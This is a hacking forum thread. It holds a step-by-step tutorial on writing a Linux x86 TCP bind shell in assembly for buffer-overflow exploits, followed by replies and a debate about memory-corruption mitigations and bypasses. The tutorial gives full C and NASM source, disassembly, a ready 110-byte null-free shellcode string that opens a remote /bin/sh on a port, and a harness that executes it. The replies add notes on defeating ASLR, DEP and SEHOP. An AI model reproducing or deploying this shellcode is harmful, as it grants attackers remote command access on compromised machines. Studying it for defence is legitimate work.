

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] ~ Writing TCP Bind Shell in Linux ASM \(For BOF\)](#)

Goodies - February 28, 2014, 2:02 am

Hello everyone!

Branching out from solely networking, I've been learning assembly (and C) over the past some months. Fairly basic.

Now, to all those who are LEARNING ASM, please do not be intimidated by this. This may look advanced due to its sheer length, but I assure you it's fairly simple. ASM files are MUCH longer as it is the lowest level language and there are a lot more commands needed to perform even a relatively simple task.

This tutorial assumes you have basic to intermediate knowledge in:

- ~ ASM
- ~ Registers (eax, ax, ah, al, eip, esp, ebp, etc...) and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc...)
- ~ Linux System Calls (Found normally at /usr/include/asm/ in unistd_32.h)
- ~ Buffer Overflow Methodology and basic Science behind it

Prelude & Files I'm Using:

I'm writing this tutorial because I know that I don't know everything, but I do want to share what I do know with all of you!

1. Custom Colring Scheme for Intel ASM in NANO - <http://pastebin.com/WEXsYE48>
2. C File to test our shellcode (Be sure to change "char * shellcode" to "char shellcode[]" when needed) - <http://pastebin.com/pTdEFU1T>
3. OPCODER - takes compiled ASM files and turns them into shellcode \x format - <http://pastebin.com/3QkKts0Q>

Below, I've written a simple TCP bind shell in C so that we can reference this later on.

PHP Code

```
<?php
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

#define PORT 7777

int main(){
    int client, server;    //file descriptors
    struct sockaddr_in sock; //socket addr

    server = socket(AF_INET, SOCK_STREAM, 0); //create a socket in server

    sock.sin_family = AF_INET;    //address family AF_INET
```

```

sock.sin_port = htons(PORT);    //sets the port for socket
sock.sin_addr.s_addr = INADDR_ANY;    //allow any address in

bind(server, (struct sockaddr *) &sock, sizeof(sock));
//This binds the socket to the socket to the file descriptor

listen(server, 1);    //listen for connections

client = accept(server, NULL, NULL);
//set client file descriptor to the first accepted client

dup2(client, 0);    //stdin
dup2(client, 1);    //stdout
dup2(client, 2);    //stderr
//these now use 'client' stream, not std::

execve("/bin/sh", NULL, NULL);
//execute /bin/sh in the client stream. Client has full access.
return 0;
}

```

Okay, this is simple enough. It creates a socket, listens on a port, duplicates the file descriptors for stdin/out/err so the client can interact with the standard streams, and executes a /bin/bash or /bin/sh shell... This is very easy.

Now that we have this, we have to convert this to assembly :D

But wait. How do we find those #defined constants? You can:

A) Look through the files and try and find them. They are going to be either in the #included files OR in files #included by the #included files....

B) Print them on screen:

PHP Code

```

<?php
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <netinet/in.h>

int main(){
    printf(
        "AF_INET:\t%d\n"
        "SOCK_STREAM:\t%d\n"
        "INADDR_ANY:\t%d\n"
        ,AF_INET, SOCK_STREAM, INADDR_ANY);
    return 0;
}

```

I simply included the same files as the first program. This yields:

```

AF_INET: 2
SOCK_STREAM: 1

```

INADDR_ANY: 0

Part I: Functions and Their Parameters

We need to grab the system calls, functions, and parameters for this to be of any use to us.

We know that we used socket(), bind(), listen(), accept(), dup2(), and execve().

Something we have to note is that the socket calls are not native in x86 ASM system calls, but rather offsets of the "socketcall" system call.

Looking in /usr/include/linux/types.h We see:

PHP Code

```
<?php
```

```
#define SYS_SOCKET    1      /* sys_socket(2)      */
#define SYS_BIND      2      /* sys_bind(2)        */
#define SYS_CONNECT   3      /* sys_connect(2)     */
#define SYS_LISTEN    4      /* sys_listen(2)      */
#define SYS_ACCEPT     5      /* sys_accept(2)      */
#define SYS_GETSOCKNAME 6    /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7    /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8     /* sys_socketpair(2)  */
#define SYS_SEND      9      /* sys_send(2)        */
#define SYS_RECV     10      /* sys_recv(2)        */
#define SYS_SENTO    11      /* sys_sendto(2)      */
#define SYS_RECVFROM 12      /* sys_recvfrom(2)    */
#define SYS_SHUTDOWN 13      /* sys_shutdown(2)    */
#define SYS_SETSOCKOPT 14     /* sys_setsockopt(2)   */
#define SYS_GETSOCKOPT 15     /* sys_getsockopt(2)   */
#define SYS_SENDMSG   16      /* sys_sendmsg(2)     */
#define SYS_RECVMSG   17      /* sys_recvmsg(2)     */
#define SYS_ACCEPT4   18      /* sys_accept4(2)     */
#define SYS_RECVMMSG   19      /* sys_recvmmsg(2)    */
#define SYS_SENDMMSG   20      /* sys_sendmmsg(2)    */
```

Calls we used (man calls):int socket(int domain, int type, int protocol); - 102 1

Parameters:AF_INET (aka 2)

SOCK_STREAM (aka 1)

0

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); - 102 2

Parameters:the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80

Address Family, Port

Length

int listen(int sockfd, int backlog); - 102 4the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80

1

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); - 102 5the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80

0 (No parameters)

0 (No addrlen)

int dup2(int oldfd, int newfd); - 63client FD, client FD, client FD

stdin (0), stdout (1), stderr (2)

int execve(const char *filename, char *const argv[], char *const envp[]); - 11"/bin/sh" is only 7 characters. It must be 8. Thankfully, using multiple "/"'s in a row does not affect it. So we can use:

```
"//bin/sh". "/bin/bash" -> "////bin/bash"
```

No arguments

Fuck that's intimidating. Well, we see that we will have to use the FD returned by socket() which will be stored in EAX

Part II: Writing the ASM

For those of you who have written shellcode from C programs before know that it's MUCH MUCH easier to do this when you think in terms of function by function. Viewing it as one challenge is entirely too great.

We will start it off like any basic file:

PHP Code

```
<?php
```

```
SECTION .text
```

```
    global _start
```

```
_start:
```

Okay, halfway there...

```
socket()
```

```
Syscall: 102
```

PHP Code

```
<?php
```

```
;///// SOCKET
```

```
xor eax, eax
```

```
xor ebx, ebx
```

```
push eax ;// pushing NULL bytes onto the stack
```

```
mov al, 102d ;// syscall for socketcall
```

```
mov bl, 1 ;// linux/types.h: #define SYS_SOCKET    1
```

```
push ebx ;// push 0x00000001 onto stack
```

```
push 2d ;// push 0x00000002 onto stack
```

```
mov ecx, esp ;// move the stack pointer (parameter array start) to the ECX
```

```
int 80h ;// execute socket()
```

```
;//socket() returned is not in EAX
```

```
mov esi, eax ;//save socket() file descriptor in something that won't be overwritten like ESI
```

Okay, great. This creates our socket and saves it in ESI so we can call it later. Simple enough. Now we can start the bind() function.

```
bind()
```

```
Syscall: 102
```

PHP Code

```
<?php
```

```
;///// BIND
```

```
xor eax, eax ;// clear EAX
```

```
xor ebx, ebx
```

```
mov al, 102d ;// syscall for socketcall
```

```
mov bl, 2 ;/// linux/types.h: #define SYS_BIND    2
```

```
add esp, 8d ;// removing 2 and 1 from the stack
```

```
;// This is the PORT number. Note that it MUST be in little endian.
```

```
;// If you want port 7777 (0x1E61), you MUST use (0x611E)
```

```
push word 0x611e
```

```

push word 2d ;// push
mov ecx, esp ;// move param array to ECX
push byte 16d ;//I'm still unsure of what the value should be. 16 is the lowest value $
push ecx ;// push param array start
push esi ;// socket() fd onto stack
mov ecx, esp ;// move the NEW param array into ecx
int 0x80 ;// call bind()

```

```

listen()
Syscall: 102
PHP Code
<?php
;///// LISTEN
xor eax, eax ;// clear EAX
mov bl, 4d ;/// linux/types.h: #define SYS_LISTEN    4
push 1d ;// int backlog parameter
mov al, 102d
push esi ;// socket() fd onto stack
mov ecx, esp ;// mov param array pointer to ECX
int 0x80 ;// call listen()

```

```

accept()
Syscall: 102
PHP Code
<?php
;///// ACCEPT
xor eax, eax ;// clear EAX
push eax ;// NULL - no sockaddr struct
push eax ;// NULL - no addrlen
mov al, 102d ;// syscall for socketcall
mov bl, 5d ;/// linux/types.h: #define SYS_ACCEPT    5
push esi ;// socket() fd onto stack
mov ecx, esp ;// mov param array pointer to ECX
int 0x80 ;// call accept()
;// this CLIENT FD is saved in EAX

```

```

dup2()
Syscall: 63
PHP Code
<?php
;///// DUP2
mov ebx, eax ;// save client FD into ebx ('old' fd dup2)
xor ecx, ecx ;// clear ECX
mov cl, 2d ;// Counter. 2, 1, 0 (stderr, stdout, stdin)
;// We need to set AL to dup2 syscall each time we loop or it will be overwritten.
loop_dup2:
    mov al, 63d ;// syscall for dup2
    int 0x80 ;// call dup2
    dec ecx ;// decrease ECX
    jns loop_dup2 ;// jump to the loop if ECX is still positive

```

```

execve()
Socketcall: 11

```

Alright. This is one of the the standard /bin/sh shellcode. This is the shortest way I know of writing it. Note that it needs to be a multiple of 4 bytes so "/bin/sh: won't work. It needs to be 8 characters.

//bin/sh works just the same. Also, if you wanted to push 4 more bytes on there, /////bin/sh works identically.

```
PHP Code
<?php
;///// EXECVE
xor eax, eax ;// clear EAX
push eax ;// push NULL
;// Push string "/bin/sh" (rather "//bin/sh" so it's x 4) backwards in LE
push 0x68732f6e ;// "hs/n" in hex
push 0x69622f2f ;// "ib/" in hex
mov ebx, esp ;// Move argument stack pointer into ebx
push eax ;// push NULL
mov edx, esp ;// move the NEW stack pointer into EDX (environment params ptr)
push ebx ;// push this new address onto stack
mov ecx, esp ;// move the NEW NEW stack pointer into ECX (param array ptr)
mov al, 11d ;// syscall for execve
int 0x80 ;// call execve()
```

Part III: Compiling and Testing

That's a lot of stuff we just typed...
Let's compile it:

```
nasm -f elf32 file.asm -o TEMP.o
ld -m elf_i386 -o exec TEMP.o
./exec
```

And test it with netcat or a telnet client:

```
nc 127.0.0.1 777
^^ Assuming you are testing it on local host and you chose port 777.
```

Proof:

Alright. Now let's turn this into shellcode with OPCODER (the simple tool I wrote at the top).

Here's the disassembly output:

```
objdump -M intel -d exec
```

PHP Code

```
<?php
```

OBJ Dump:

```
8048060: 31 c0          xor    eax,eax
8048062: 31 db          xor    ebx,ebx
8048064: 50            push   eax
8048065: b0 66          mov    al,0x66
8048067: b3 01          mov    bl,0x1
```

```

8048069: 53          push ebx
804806a: 6a 02       push 0x2
804806c: 89 e1       mov ecx,esp
804806e: cd 80       int 0x80
8048070: 89 c6       mov esi,eax
8048072: 31 c0       xor eax,eax
8048074: 31 db       xor ebx,ebx
8048076: b0 66       mov al,0x66
8048078: b3 02       mov bl,0x2
804807a: 83 c4 08    add esp,0x8
804807d: 66 68 1e 61 pushw 0x611e
8048081: 66 6a 02    pushw 0x2
8048084: 89 e1       mov ecx,esp
8048086: 6a 10       push 0x10
8048088: 51          push ecx
8048089: 56          push esi
804808a: 89 e1       mov ecx,esp
804808c: cd 80       int 0x80
804808e: 31 c0       xor eax,eax
8048090: b3 04       mov bl,0x4
8048092: 6a 01       push 0x1
8048094: b0 66       mov al,0x66
8048096: 56          push esi
8048097: 89 e1       mov ecx,esp
8048099: cd 80       int 0x80
804809b: 31 c0       xor eax,eax
804809d: 50          push eax
804809e: 50          push eax
804809f: b0 66       mov al,0x66
80480a1: b3 05       mov bl,0x5
80480a3: 56          push esi
80480a4: 89 e1       mov ecx,esp
80480a6: cd 80       int 0x80
80480a8: 89 c3       mov ebx,eax
80480aa: 31 c9       xor ecx,ecx
80480ac: b1 02       mov cl,0x2
80480ae: b0 3f       mov al,0x3f
80480b0: cd 80       int 0x80
80480b2: 49          dec ecx
80480b3: 79 f9       jns 0x80480ae
80480b5: 31 c0       xor eax,eax
80480b7: 50          push eax
80480b8: 68 6e 2f 73 68 push 0x68732f6e
80480bd: 68 2f 2f 62 69 push 0x69622f2f
80480c2: 89 e3       mov ebx,esp
80480c4: 50          push eax
80480c5: 89 e2       mov edx,esp
80480c7: 53          push ebx
80480c8: 89 e1       mov ecx,esp
80480ca: b0 0b       mov al,0xb
80480cc: cd 80       int 0x80

```

Shellcode (110 Bytes):

Code

```
\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
```

You can check to see if there are any \x00's simply by running:
objdump -d exec | grep "00"

Now let's test it in our C program:

PHP Code

```
<?php
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
unsigned char shellcode[] =
```

```
"\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\xef\xbe\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
```

```
int main(){
```

```
    printf("Shellcode Length (Bytes): %d\n", strlen(shellcode));
```

```
    ((void (*)(void))shellcode)();
```

```
    return 0;
```

```
}
```

And moment of truth:

mudasir007 - February 28, 2014, 6:40 am

Excellent Tutorial Mate, learned from it Thanks

Goodies - February 28, 2014, 10:57 am

Thanks :) I put well over 6 hours into writing and debugging this file + making the thread. It'd be awesome to get some recognition.

PickledHax - February 28, 2014, 12:32 pm

Wow, this must have taken a lot of time. Well done :)

Hooded Robin - February 28, 2014, 2:24 pm

Pictures, code, examples - this has it all! Thanks for taking the time to put this together. It was a nice read and will make a great reference as I start heading down this same direction.

Ch1m4zz - February 28, 2014, 2:30 pm

Wow this is one hell of a tutorial ... Haven't read it all yet because it was so awesome my eyes melted after half of it.. Just wow man great work and keep it up goodies :D

Goodies - February 28, 2014, 5:41 pm

Thanks you guys! I really really appreciate it :)

Ch1m4zz - February 28, 2014, 6:45 pm

Only 6 replies common this is an hell of an awesome thread

_Silky - February 28, 2014, 8:33 pm

This may set peoples eyes on fire, but that's how you....

learn.

decak0re - February 28, 2014, 11:54 pm

awesome thread man super bookmarked

Goodies - March 1, 2014, 12:46 am

Updated a typo. LOL I had typed "SOCK_STRESS" as opposed to "SOCK_STREAM". That's embarrassing. Luckily it was only in the printf format rather than the later parameters...

whyitell - March 2, 2014, 3:51 pm

Another great tutorial, I should really learn asm properly, its confuzing.

Goodies - April 21, 2014, 6:55 pm

I'm going to bump this. I'm writing my book and I'm referencing my thread, so might as well it.

?ain - April 21, 2014, 7:01 pm

My brain, why Goodies, why my brain hurts

Just kidding. Amazing tutorial!

LeetCodes - April 21, 2014, 8:57 pm

great tutorial, learned a lot, thanks

Goodies - March 16, 2015, 1:20 am

So, I know it's been a while since I've don an ASM tutorial like this, but I may need to get back into it for my work, so would anyone be interested in more of this? Exploit development is important and ASM is a key feature in it.

Goodies - March 17, 2015, 3:46 pm

No? No one is interested in writing basic shellcode? K.

AnonRobot - March 17, 2015, 4:38 pm

I have some knowledge of ASM but this has motivated me to learn more so I can actually interpret this.

Thank you op you did a great job writing this.

actually what does a TCP Bind Shell i tried to research it but nothing came up.

Goodies - March 17, 2015, 5:57 pm

(Mar 17, 2015 04:38 PM)AnonRobot Wrote: [\[CITE\]](#) actually what does a TCP Bind Shell i tried to research it but nothing came up.

It will duplicate the stdin, stdout, and stderr standard file descriptors to the socket and execute /bin/sh allowing you to execute commands remotely and see the output. However, a BIND shell will bind to a address:port to which you have to manually connect. A REVERSE shell will connect back to you :)

SIM-1866423 - April 10, 2015, 8:58 am

Did u upload new tutorials ?, i want see all of them pm me :)

cybercoder - April 10, 2015, 9:17 am

HQ post. Thanks for posting mate. Learned some new things.

SIM-1866423 - June 29, 2015, 2:12 pm

I'm starting now .. I hope I can create my own too hehe.

Goodies - June 29, 2015, 2:33 pm

Thanks for the post! I know this is old, but it's by no means depreciated and I hope people can still get use out of this.

Keep in mind that this is by no means advanced and meant to be only a slight introduction to bind shells. This connection will certainly show up in Netstat and so on, so don't think you're hidden,

SIM-1866423 - June 29, 2015, 2:47 pm

(Jun 29, 2015 02:33 PM)Goodies Wrote: [\[CITE\]](#) Thanks for the post! I know this is old, but it's by no means depreciated and I hope people can still get use out of this.

Keep in mind that this is by no means advanced and meant to be only a slight introduction to bind shells. This connection will certainly show up in Netstat and so on, so don't think you're hidden,
You can fuck down 1-2 min in all server who care hide ? ?

Goodies - June 29, 2015, 2:49 pm

(Jun 29, 2015 02:47 PM)b3mb4m Wrote: [\[CITE\]](#) You can fuck down 1-2 min in all server who care hide ? ?

Probably the police.

Not that memory corruption is all that common now.

xorl - June 29, 2015, 5:32 pm

(Jun 29, 2015 02:49 PM)Goodies Wrote: [\[CITE\]](#) Probably the police.

Not that memory corruption is all that common now.

2015-06-23 - CVE-2015-3113 - Flash - "Heap-based buffer overflow in Adobe Flash Player before 13.0.0.296 and 14.x through 18.x before 18.0.0.194 on Windows and OS X and before 11.2.202.468 on Linux allows remote attackers to execute arbitrary code via unspecified vectors, as exploited in the wild in June 2015."

2015-05-14 - CVE-2015-2717 - Firefox - "Integer overflow in libstagefright in Mozilla Firefox before 38.0 allows remote attackers to execute arbitrary code or cause a denial of service (heap-based buffer overflow and out-of-bounds read) via an MP4 video file containing invalid metadata."

2015-01-27 - CVE-2015-1360 - Chrome - "Skia, as used in Google Chrome before 40.0.2214.91, allows remote attackers to cause a denial of service (buffer over-read) or possibly have unspecified other impact via crafted data that is improperly handled during text drawing, related to gpu/GrBitmapTextContext.cpp and gpu/GrDistanceFieldTextContext.cpp, a different vulnerability than CVE-2015-1205."

2015-06-09 - CVE-2015-1766 - Internet Explorer - "Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-1735, CVE-2015-1740, CVE-2015-1744, and CVE-2015-1745."

2015-05-13 - CVE-2015-3076 - Adobe Reader - "Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on Windows and OS X allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2014-9161, CVE-2015-3046, CVE-2015-3049, CVE-2015-3050, CVE-2015-3051, CVE-2015-3052, CVE-2015-3056, CVE-2015-3057, and CVE-2015-3070."

2015-06-09 - CVE-2015-1760 - MS Office - "Microsoft Office Compatibility Pack SP3, Office 2010 SP2, Office 2013 SP1, and Office 2013 RT SP1 allow remote attackers to execute arbitrary code via a crafted Office document, aka "Microsoft Office Memory Corruption Vulnerability.""

2015-06-07 - CVE-2015-4002 - Linux Kernel - "drivers/staging/ozwpan/ozusbsvc1.c in the OZWpan driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions."

ok :)

Goodies - June 30, 2015, 12:44 pm

(Jun 29, 2015 05:32 PM)xorl Wrote: [\[CITE\]](#) Dumb [\(Click to View\)](#)

2015-06-23 - CVE-2015-3113 - Flash - "Heap-based buffer overflow in Adobe Flash Player before 13.0.0.296 and 14.x through 18.x before 18.0.0.194 on Windows and OS X and before 11.2.202.468 on Linux allows remote attackers to execute arbitrary code via unspecified vectors, as exploited in the wild in June 2015."

2015-05-14 - CVE-2015-2717 - Firefox - "Integer overflow in libstagefright in Mozilla Firefox before 38.0 allows remote attackers to execute arbitrary code or cause a denial of service (heap-based buffer overflow and out-of-bounds read) via an MP4 video file containing invalid metadata."

2015-01-27 - CVE-2015-1360 - Chrome - "Skia, as used in Google Chrome before 40.0.2214.91, allows remote attackers to cause a denial of service (buffer over-read) or possibly have unspecified other impact via crafted data that is improperly handled during text drawing, related to gpu/GrBitmapTextContext.cpp and gpu/GrDistanceFieldTextContext.cpp, a different vulnerability than CVE-2015-1205."

2015-06-09 - CVE-2015-1766 - Internet Explorer - "Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-1735, CVE-2015-1740, CVE-2015-1744, and CVE-2015-1745."

2015-05-13 - CVE-2015-3076 - Adobe Reader - "Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on Windows and OS X allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2014-9161, CVE-2015-3046, CVE-2015-3049, CVE-2015-3050, CVE-2015-3051, CVE-2015-3052, CVE-2015-3056, CVE-2015-3057, and CVE-2015-3070."

2015-06-09 - CVE-2015-1760 - MS Office - "Microsoft Office Compatibility Pack SP3, Office 2010 SP2, Office 2013 SP1, and Office 2013 RT SP1 allow remote attackers to execute arbitrary code via a crafted Office document, aka "Microsoft Office Memory Corruption Vulnerability.""

2015-06-07 - CVE-2015-4002 - Linux Kernel - "drivers/staging/ozwpan/ozusbsvc1.c in the OZWpan driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions."

ok :)

It might do you well to actually read the words that I wrote, not the words you think I wrote, and respond to the claim that I'm making. Look at the relative percentage of memory corruption leading

to RCE 5-10 years ago and then look at the advancements in BOF/memory protection in the newer operating systems. Exploiting older versions of flash is not what I'm talking about and you should know that.

Just because the exploits come out in 2015 doesn't mean that they are new exploits if they are aimed toward outdated versions.

And even the ones that are up to date, I specifically said that they are not as common anymore. That doesn't mean you will never find another mem corruption vulnerability.

xorl - June 30, 2015, 1:12 pm

(Jun 30, 2015 12:44 PM)Goodies Wrote: [\[CITE\]](#) It might do you well to actually read the words that I wrote, not the words you think I wrote, and respond to the claim that I'm making. Look at the relative percentage of memory corruption leading to RCE 5-10 years ago and then look at the advancements in BOF/memory protection in the newer operating systems. Exploiting older versions of flash is not what I'm talking about and you should know that.

Just because the exploits come out in 2015 doesn't mean that they are new exploits if they are aimed toward outdated versions.

And even the ones that are up to date, I specifically said that they are not as common anymore. That doesn't mean you will never find another mem corruption vulnerability.

Quote:It might do you well to actually read the words that I wrote, not the words you think I wrote, and respond to the claim that I'm making. ok

Quote:Look at the relative percentage of memory corruption leading to RCE 5-10 years ago you said "Not that memory corruption is all that common now." not "not that memory corruption is as common now as it used to be"

also, just because it doesn't lead to RCE doesn't mean it's not a memory corruption or that it's not exploitable

Quote:then look at the advancements in BOF/memory protection in the newer operating systems. i fail to see how exploit mitigations (which does just that, MITIGATE, not stop exploitation) has anything to do with whether memory corruption is still common or not
that's like saying a WAF will remove web vulnerabilities, there are always ways to bypass it

Quote:Exploiting older versions of flash is not what I'm talking about and you should know that. Just because the exploits come out in 2015 doesn't mean that they are new exploits if they are aimed toward outdated versions. the current version for flash player is 18.0.0.194, that exploits Adobe Flash Player before 13.0.0.296 and 14.x through 18.x before 18.0.0.194 on Windows. I wouldn't really say that's outdated especially since we all know people do not update their shit

Goodies - June 30, 2015, 2:18 pm

You're obviously a decently smart person, but let's just take a look at this.

(Jun 30, 2015 01:12 PM)xorl Wrote: [\[CITE\]](#) okGreat.

Quote:you said "Not that memory corruption is all that common now." not "not that memory corruption is as common now as it used to be"

also, just because it doesn't lead to RCE doesn't mean it's not a memory corruption or that it's not exploitable The key word in that sentence is "now." Although I would readily admit that my sentence is a colloquialism, and as such I wouldn't write it in such an unclear fashion to anyone in a more intellectual context, it is nonetheless implicative, at least colloquially, of the fact that it was different

in the past. For example, the phrase "I don't drink now." would generally be interpreted as "I used to drink, but I don't drink now." Otherwise, the word 'now' would be entirely extraneous and lead to nothing but confusion.

Secondly, not that this is by any means unanswerable, but I am curious as to what you (personally) would be able to do with a memory corruption vulnerability that does not become code execution.

Quote:i fail to see how exploit mitigations (which does just that, MITIGATE, not stop exploitation) has anything to do with whether memory corruption is still common or not
that's like saying a WAF will remove web vulnerabilities, there are always ways to bypass it You cannot be serious. The very definition of the word "mitigate," namely "make less severe, serious, or painful," implies that fewer people would be able to continue it. Only those that are more persistent and, at least somewhat, skilled would be able to create exploits for them. Never did I say that it removes the possibility entirely, although in some cases it can.

What is your infatuation with equivocating an existential claim like "some vulnerabilities will be less common" with a Universal claim like "ALL vulnerabilities will be stopped"? It's absurd and you're creating straw men to attack.

For example:One would find that a system with no mitigations would be full of corruption exploits
A system with ASLR would be vulnerable to comparatively fewer since knowing the entry point of the application is often important. However, obviously certain circumventions of this like utilizing non-ASLR libraries for finding gadgets like returning to a register, etc...

OSes with DEP/NX enabled would mitigate even more attacks as they would disallow execution on the stack. Of course using ROP gadgets to, say, allocate virtual memory with RWX permissions and use RtlMoveMemory to move your payload in would be one way around this. However, this is by no means a banal course of action and does require time.

Programs compiled with the /GS switch, for example, may be more difficult still since they can detect when you overwrite frame/stack pointers, but overwriting SEH records to use your own code as an exception handler can bypass this.

SEHOP, however, marked the end of reliable remote memory corruption for me. By itself, it isn't anything special, but I have yet to find a reliable way to keep it from returning to the kernel exception handler without knowing the entry point of other modules.

Take, for example, an exploit whose nature relied on the fact that the attacker knew the hard-coded entry point of the application which uses no non-ASLR libraries. Once ASLR is enabled, it becomes virtually impossible, or at least highly improbable, to continue this attack. One might create a large NOP sled and overwrite only part of the EIP, thus returning to a semi-known range of memory, but this isn't exactly reliable. But now that all of the libraries' entry points are obscured and you have no reliable way of determining the locations of ROP gadgets or anything of the sort, the exploit becomes much harder.

Yes, it's only a mitigation, but it is intended to prevent people from having reliable exploits, which I believe that it does in many cases.

Quote:the current version for flash player is 18.0.0.194, that exploits Adobe Flash Player before 13.0.0.296 and 14.x through 18.x before 18.0.0.194 on Windows. I wouldn't really say that's outdated especially since we all know people do not update their shit First and foremost, I'm a network engineer. My entire job pertains to looking at attacks and connectivity within a network and between devices. All of the things I've written here could easily be outdated or simply incorrect, and I have no disillusion about my own skill. Anything host-based is merely an interest of mine.

Secondly, I already addressed this. Never did I say that they would be non-existent, but rather that

they would be comparatively less common, which they unarguably are. That point by itself renders your entire counter-argument moot. I am well-aware of the fact that people do not update their programs, and if your goal is to attack these low-priority targets in insecure environments, then by all means, learn BOF. However, if you are interested at all in higher priority targets, you can't simply use BOF.

Why don't you set up an isolated server on Windows 2012R2 that you can access remotely. Then you can enable all the common security features (ASLR, DEP and SEHOP are on by default in 2012 R2), and enable EMET, sandbox your server applications, set up a host-based intrusion detection system, and then run a completely vulnerable FTP server or something and you tell me when you think you have an exploit. These are the types of secure environments that I'm talking about. Not Joe's porn-filled laptop using an outdated flash version.

You're better off trying to find vulnerabilities in frameworks: django, CF, MyBB, RabbitMQ, Celery, and so on...

Would you not agree?

ras4sc - June 30, 2015, 6:48 pm

"I am well-aware of the fact that people do not update their programs, and if your goal is to attack these low-priority targets in insecure environments, then by all means, learn BOF. "

This is a very absurd thing to say. Do you not see the results from pwn2own every year? Just this year there was one lone man who could get code execution on any box, completely bypassing all protections, for IE, Firefox, Safari, and Chrome. I can promise you this guy did not stop learning, just because "they're becoming uncommon". With your attitude you won't reach a stage like this.

Yes, alone, the protections are useless and when chained together it can be a pain in the ass to bypass, but it's still possible many times. Have a look at this case:

[vreugdenhilresearch . nl/ms11-002-pwn2own-heap-overflow/](http://vreugdenhilresearch.nl/ms11-002-pwn2own-heap-overflow/)

ROP gadgets and pointer leaks are not all there is to bypassing protections, dude. These protections are here to help reduce the risk of the overflow, but the overflow has already happened. More protections may come, but, many times, they come with new ways to bypass. When some of these protections were first introduced, this left most people at a stand still. But eventually, with persistence, people found a way.

As long as someone answers no to the question, "Do you write perfect code?", it will always be worth learning about BOF's. Idiot programmers are still out there. And that includes us, too. It's not easy to write secure code.

What worries me the most is that you say people should not be learning buffer overflows. BOF's are not only useful for exploiting, but they serve as a good model for security concepts. They also are a stepping stone onto more advanced things such as kernel bugs.

Yes, BOF's may have decreased in numbers over the past years, but that's with every vulnerability. In fact, why bother with things such as SQL injection in that case? They are getting harder to find.

Vanox - June 30, 2015, 7:24 pm

Bookmarked, super in-depth man great tut!!!

T0ucaNSaM - July 2, 2015, 8:34 am

This is a good tut bro, much more advance than other simple copy and paste tuts i have seen

recently. Thanks again ?

Zapchast - July 3, 2015, 5:13 pm

Sure, just because some vulnerability as BOF will still harder and harder to find, it doesn't mean, it's totally impossible. There are some parallels with WAFs in website exploitations, for example when it comes to SQLi. As ras4sc points - all these WAFs and protections only reduce the risks when human factor fails. Of course, it can stopped a huge % of people (because they just has not enough experiences and so on), but once comes some attacker, who'll find the way and that's it.

Okay, but I don't want to needlessly repeat, what has already been written - back to the main topic.

This is one awesome tutorial in this section, what I can see. For everyone, who is learning ASM, OP explained every step very well, so it's very clear. Good job Goodies, it's nice to see thread like this from which people can actually learn something.

Goodies - July 3, 2015, 6:31 pm

@Zapchest

I completely agree with you. By no means am I saying that it is a useless skill. Rather, I'm saying that the larger vulnerabilities that will lead to the compromise of large corporations will be in the frameworks that run them.

I appreciate your words.

Shirase - December 3, 2016, 5:25 pm

your thread is wonderful:) thank you !

memory - December 5, 2016, 3:38 pm

Goodies, again with the well informative and well put together tutorial. Thank you.

Solar_Flare - May 13, 2017, 9:02 pm

Damn dude You've been busy AF,, Good work my friend!! "As always a genius"

--Once again thanks for all your Python help!

Cheers dude

Freshnuts - May 14, 2017, 1:02 pm

